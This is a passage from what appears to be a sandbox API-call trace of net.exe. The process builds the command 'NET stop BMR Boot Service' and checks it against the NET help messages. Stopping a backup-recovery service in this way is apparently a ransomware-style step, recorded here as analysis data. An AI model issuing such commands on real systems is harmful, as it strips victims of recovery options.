(hFile=0x0) returned 0x0 [0098.410] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x2fc350 [0098.410] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=2, lpMultiByteStr=0x2fc350, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n/", lpUsedDefaultChar=0x0) returned 2 [0098.410] WriteFile (in: hFile=0x0, lpBuffer=0x2fc350, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x24f770, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x24f770, lpOverlapped=0x0) returned 0 [0098.410] LocalFree (hMem=0x2fc350) returned 0x0 [0098.410] wcscpy_s (in: _Destination=0x24f8e0, _SizeInWords=0x200, _Source="NET" | out: _Destination="NET") returned 0x0 [0098.410] wcsncat_s (in: _Destination="NET", _SizeInWords=0x200, _Source=" ", _MaxCount=0xffffffffffffffff | out: _Destination="NET ") returned 0x0 [0098.410] wcsncat_s (in: _Destination="NET ", _SizeInWords=0x200, _Source="stop", _MaxCount=0xffffffffffffffff | out: _Destination="NET stop") returned 0x0 [0098.410] wcsncat_s (in: _Destination="NET stop", _SizeInWords=0x200, _Source=" ", _MaxCount=0xffffffffffffffff | out: _Destination="NET stop ") returned 0x0 [0098.410] wcsncat_s (in: _Destination="NET stop ", _SizeInWords=0x200, _Source="BMR", _MaxCount=0xffffffffffffffff | out: _Destination="NET stop BMR") returned 0x0 [0098.410] wcsncat_s (in: _Destination="NET stop BMR", _SizeInWords=0x200, _Source=" ", _MaxCount=0xffffffffffffffff | out: _Destination="NET stop BMR ") returned 0x0 [0098.411] wcsncat_s (in: _Destination="NET stop BMR ", _SizeInWords=0x200, _Source="Boot", _MaxCount=0xffffffffffffffff | out: _Destination="NET stop BMR Boot") returned 0x0 [0098.411] wcsncat_s (in: _Destination="NET stop BMR Boot", _SizeInWords=0x200, _Source=" ", _MaxCount=0xffffffffffffffff | out: _Destination="NET stop BMR Boot ") returned 0x0 [0098.411] wcsncat_s (in: _Destination="NET stop BMR Boot ", _SizeInWords=0x200, _Source="Service", _MaxCount=0xffffffffffffffff | out: _Destination="NET stop BMR Boot Service") returned 0x0 [0098.411] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xbfc, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="턠/") returned 0xad [0098.411] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET ACCOUNTS\r\n[/FORCELOGO", _MaxCount=0x19) returned 18 [0098.411] LocalFree (hMem=0x2fd120) returned 0x0 [0098.411] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xbff, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="턠/") returned 0x2e [0098.412] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET COMPUTER\r\n\\\\computern", _MaxCount=0x19) returned 16 [0098.412] LocalFree (hMem=0x2fd120) returned 0x0 [0098.412] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc02, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="턠/") returned 0x7d [0098.412] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET CONFIG SERVER\r\n[/AUTO", _MaxCount=0x19) returned 16 [0098.412] LocalFree (hMem=0x2fd120) returned 0x0 [0098.412] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc05, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="턠/") returned 0x26 [0098.412] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET CONFIG\r\n[SERVER | WOR", _MaxCount=0x19) returned 16 [0098.412] LocalFree (hMem=0x2fd120) returned 0x0 [0098.412] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc08, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="턠/") returned 0x19 [0098.412] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET CONTINUE\r\nservice\r\n\r\n", _MaxCount=0x19) returned 16 [0098.412] LocalFree (hMem=0x2fd120) returned 0x0 [0098.412] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc0b, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x1b [0098.412] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET FILE\r\n[id [/CLOSE]]\r\n", _MaxCount=0x19) returned 13 [0098.412] LocalFree (hMem=0x2fc350) returned 0x0 [0098.412] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc0e, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="턠/") returned 0xbe [0098.412] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET GROUP\r\n[groupname [/C", _MaxCount=0x19) returned 12 [0098.412] LocalFree (hMem=0x2fd120) returned 0x0 [0098.412] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc11, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="턠/") returned 0x33 [0098.412] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET HELP\r\ncommand\r\n -", _MaxCount=0x19) returned 11 [0098.412] LocalFree (hMem=0x2fd120) returned 0x0 [0098.412] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc14, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="턠/") returned 0x19 [0098.412] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET HELPMSG\r\nmessage#\r\n\r\n", _MaxCount=0x19) returned 11 [0098.412] LocalFree (hMem=0x2fd120) returned 0x0 [0098.412] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc17, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="턠/") returned 0xc1 [0098.412] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET LOCALGROUP\r\n[groupnam", _MaxCount=0x19) returned 7 [0098.412] LocalFree (hMem=0x2fd120) returned 0x0 [0098.412] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc1a, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x16 [0098.412] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET PAUSE\r\nservice\r\n\r\n", _MaxCount=0x19) returned 3 [0098.412] LocalFree (hMem=0x2fc350) returned 0x0 [0098.412] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc1d, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="턠/") returned 0x33 [0098.412] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET SESSION\r\n[\\\\computern", _MaxCount=0x19) returned 15 [0098.412] LocalFree (hMem=0x2fd120) returned 0x0 [0098.413] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc20, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="턠/") returned 0x234 [0098.413] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET SHARE\r\nsharename\r\n ", _MaxCount=0x19) returned 12 [0098.413] LocalFree (hMem=0x2fd120) returned 0x0 [0098.413] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc23, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x13 [0098.413] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET START BROWSER\r\n", _MaxCount=0x19) returned 14 [0098.413] LocalFree (hMem=0x2fc350) returned 0x0 [0098.413] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc26, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x14 [0098.413] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET START CLIPBOOK\r\n", _MaxCount=0x19) returned 14 [0098.413] LocalFree (hMem=0x2fc350) returned 0x0 [0098.413] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc29, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x14 [0098.413] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET START EVENTLOG\r\n", _MaxCount=0x19) returned 14 [0098.413] LocalFree (hMem=0x2fc350) returned 0x0 [0098.413] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc2c, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x15 [0098.413] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET START MESSENGER\r\n", _MaxCount=0x19) returned 14 [0098.413] LocalFree (hMem=0x2fc350) returned 0x0 [0098.413] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc2f, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x15 [0098.413] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET START NET LOGON\r\n", _MaxCount=0x19) returned 14 [0098.413] LocalFree (hMem=0x2fc350) returned 0x0 [0098.413] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc32, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x16 [0098.413] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET START RPCLOCATOR\r\n", _MaxCount=0x19) returned 14 [0098.413] LocalFree (hMem=0x2fc350) returned 0x0 [0098.413] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc35, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x11 [0098.413] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET START RPCSS\r\n", _MaxCount=0x19) returned 14 [0098.414] LocalFree (hMem=0x2fc350) returned 0x0 [0098.414] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc38, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x14 [0098.414] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET START SCHEDULE\r\n", _MaxCount=0x19) returned 14 [0098.414] LocalFree (hMem=0x2fc350) returned 0x0 [0098.414] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc3b, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x12 [0098.414] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET START SERVER\r\n", _MaxCount=0x19) returned 14 [0098.414] LocalFree (hMem=0x2fc350) returned 0x0 [0098.414] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc3e, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0xf [0098.414] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET START UPS\r\n", _MaxCount=0x19) returned 14 [0098.414] LocalFree (hMem=0x2fc350) returned 0x0 [0098.414] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc41, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x17 [0098.414] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET START WORKSTATION\r\n", _MaxCount=0x19) returned 14 [0098.414] LocalFree (hMem=0x2ff120) returned 0x0 [0098.414] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc44, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x18 [0098.414] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET START\r\n[service]\r\n\r\n", _MaxCount=0x19) returned 14 [0098.414] LocalFree (hMem=0x2ff120) returned 0x0 [0098.414] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc47, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x2a [0098.414] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET STATISTICS\r\n[WORKSTAT", _MaxCount=0x19) returned 14 [0098.414] LocalFree (hMem=0x2ff120) returned 0x0 [0098.414] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc4a, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x15 [0098.414] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET STOP\r\nservice\r\n\r\n", _MaxCount=0x19) returned 19 [0098.414] LocalFree (hMem=0x2fc350) returned 0x0 [0098.414] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc4d, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x58 [0098.414] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET TIME\r\n\r\n[\\\\computerna", _MaxCount=0x19) returned -1 [0098.414] LocalFree (hMem=0x2ff120) returned 0x0 [0098.414] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc50, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x184 [0098.414] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET USE\r\n[devicename | *]", _MaxCount=0x19) returned -2 [0098.414] LocalFree (hMem=0x2ff120) returned 0x0 [0098.414] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc53, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0xc7 [0098.414] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET USER\r\n[username [pass", _MaxCount=0x19) returned -2 [0098.414] LocalFree (hMem=0x2ff120) returned 0x0 [0098.414] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc56, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x47 [0098.414] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET VIEW\r\n[\\\\computername", _MaxCount=0x19) returned -3 [0098.414] LocalFree (hMem=0x2ff120) returned 0x0 [0098.414] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc59, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0xc2 [0098.414] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NET\r\n [ ACCOUNTS | COM", _MaxCount=0x19) returned 19 [0098.414] LocalFree (hMem=0x2ff120) returned 0x0 [0098.415] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc5c, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x319 [0098.415] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="SERVICES\r\nNET START can b", _MaxCount=0x19) returned -5 [0098.415] LocalFree (hMem=0x2ff120) returned 0x0 [0098.415] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc5f, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x483 [0098.415] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="SYNTAX\r\nThe following con", _MaxCount=0x19) returned -5 [0098.415] LocalFree (hMem=0x2ff120) returned 0x0 [0098.415] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc62, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0xa86 [0098.415] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="NAMES\r\nThe following type", _MaxCount=0x19) returned 4 [0098.415] LocalFree (hMem=0x2ff120) returned 0x0 [0098.415] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc65, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x54 [0098.415] _wcsnicmp (_String1="NET stop BMR Boot Service", _String2="\r\nFor more information on", _MaxCount=0x19) returned 97 [0098.415] LocalFree (hMem=0x2ff120) returned 0x0 [0098.415] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xbfc, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0xad [0098.415] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET ACCOUNTS\r\n[/F", _MaxCount=0x11) returned 18 [0098.416] LocalFree (hMem=0x2ff120) returned 0x0 [0098.416] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xbff, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x2e [0098.416] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET COMPUTER\r\n\\\\c", _MaxCount=0x11) returned 16 [0098.416] LocalFree (hMem=0x2ff120) returned 0x0 [0098.416] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc02, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x7d [0098.416] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET CONFIG SERVER", _MaxCount=0x11) returned 16 [0098.416] LocalFree (hMem=0x2ff120) returned 0x0 [0098.416] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc05, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x26 [0098.416] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET CONFIG\r\n[SERV", _MaxCount=0x11) returned 16 [0098.416] LocalFree (hMem=0x2ff120) returned 0x0 [0098.416] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc08, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x19 [0098.416] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET CONTINUE\r\nser", _MaxCount=0x11) returned 16 [0098.416] LocalFree (hMem=0x2ff120) returned 0x0 [0098.416] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc0b, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x1b [0098.416] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET FILE\r\n[id [/C", _MaxCount=0x11) returned 13 [0098.416] LocalFree (hMem=0x2fc350) returned 0x0 [0098.416] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc0e, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0xbe [0098.416] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET GROUP\r\n[group", _MaxCount=0x11) returned 12 [0098.416] LocalFree (hMem=0x2ff120) returned 0x0 [0098.416] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc11, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x33 [0098.416] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET HELP\r\ncommand", _MaxCount=0x11) returned 11 [0098.416] LocalFree (hMem=0x2ff120) returned 0x0 [0098.416] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc14, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x19 [0098.416] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET HELPMSG\r\nmess", _MaxCount=0x11) returned 11 [0098.416] LocalFree (hMem=0x2ff120) returned 0x0 [0098.416] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc17, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0xc1 [0098.416] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET LOCALGROUP\r\n[", _MaxCount=0x11) returned 7 [0098.416] LocalFree (hMem=0x2ff120) returned 0x0 [0098.416] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc1a, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x16 [0098.416] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET PAUSE\r\nservic", _MaxCount=0x11) returned 3 [0098.416] LocalFree (hMem=0x2fc350) returned 0x0 [0098.416] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc1d, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x33 [0098.416] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET SESSION\r\n[\\\\c", _MaxCount=0x11) returned 15 [0098.416] LocalFree (hMem=0x2ff120) returned 0x0 [0098.416] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc20, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x234 [0098.416] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET SHARE\r\nsharen", _MaxCount=0x11) returned 12 [0098.416] LocalFree (hMem=0x2ff120) returned 0x0 [0098.417] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc23, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x13 [0098.417] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET START BROWSER", _MaxCount=0x11) returned 14 [0098.417] LocalFree (hMem=0x2fc350) returned 0x0 [0098.417] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc26, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x14 [0098.417] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET START CLIPBOO", _MaxCount=0x11) returned 14 [0098.417] LocalFree (hMem=0x2fc350) returned 0x0 [0098.417] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc29, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x14 [0098.417] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET START EVENTLO", _MaxCount=0x11) returned 14 [0098.417] LocalFree (hMem=0x2fc350) returned 0x0 [0098.417] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc2c, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x15 [0098.417] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET START MESSENG", _MaxCount=0x11) returned 14 [0098.417] LocalFree (hMem=0x2fc350) returned 0x0 [0098.417] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc2f, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x15 [0098.417] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET START NET LOG", _MaxCount=0x11) returned 14 [0098.417] LocalFree (hMem=0x2fc350) returned 0x0 [0098.417] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc32, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x16 [0098.417] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET START RPCLOCA", _MaxCount=0x11) returned 14 [0098.417] LocalFree (hMem=0x2fc350) returned 0x0 [0098.417] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc35, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x11 [0098.417] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET START RPCSS\r\n", _MaxCount=0x11) returned 14 [0098.417] LocalFree (hMem=0x2fc350) returned 0x0 [0098.417] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc38, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x14 [0098.417] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET START SCHEDUL", _MaxCount=0x11) returned 14 [0098.417] LocalFree (hMem=0x2fc350) returned 0x0 [0098.417] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc3b, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x12 [0098.417] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET START SERVER\r", _MaxCount=0x11) returned 14 [0098.417] LocalFree (hMem=0x2fc350) returned 0x0 [0098.417] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc3e, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0xf [0098.417] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET START UPS\r\n", _MaxCount=0x11) returned 14 [0098.417] LocalFree (hMem=0x2fc350) returned 0x0 [0098.417] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc41, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x17 [0098.417] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET START WORKSTA", _MaxCount=0x11) returned 14 [0098.417] LocalFree (hMem=0x2ff120) returned 0x0 [0098.417] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc44, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x18 [0098.417] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET START\r\n[servi", _MaxCount=0x11) returned 14 [0098.417] LocalFree (hMem=0x2ff120) returned 0x0 [0098.417] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc47, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x2a [0098.418] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET STATISTICS\r\n[", _MaxCount=0x11) returned 14 [0098.418] LocalFree (hMem=0x2ff120) returned 0x0 [0098.418] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc4a, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="썐/") returned 0x15 [0098.418] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET STOP\r\nservice", _MaxCount=0x11) returned 19 [0098.418] LocalFree (hMem=0x2fc350) returned 0x0 [0098.418] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc4d, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x58 [0098.418] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET TIME\r\n\r\n[\\\\co", _MaxCount=0x11) returned -1 [0098.418] LocalFree (hMem=0x2ff120) returned 0x0 [0098.418] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc50, dwLanguageId=0x0, lpBuffer=0x24f760, nSize=0x0, Arguments=0x24f768 | out: lpBuffer="/") returned 0x184 [0098.418] _wcsnicmp (_String1="NET stop BMR Boot", _String2="NET USE\r\n[devicen", _MaxCount=0x11) returned -2 [0098.418] LocalFree (hMem=0x2ff120) returned 0x0 [0098.418] FormatMessageW (in: dwFlags=0x1900, lpSource=0x756d0000, dwMessageId=0xc53, dwLanguageId=0x0, 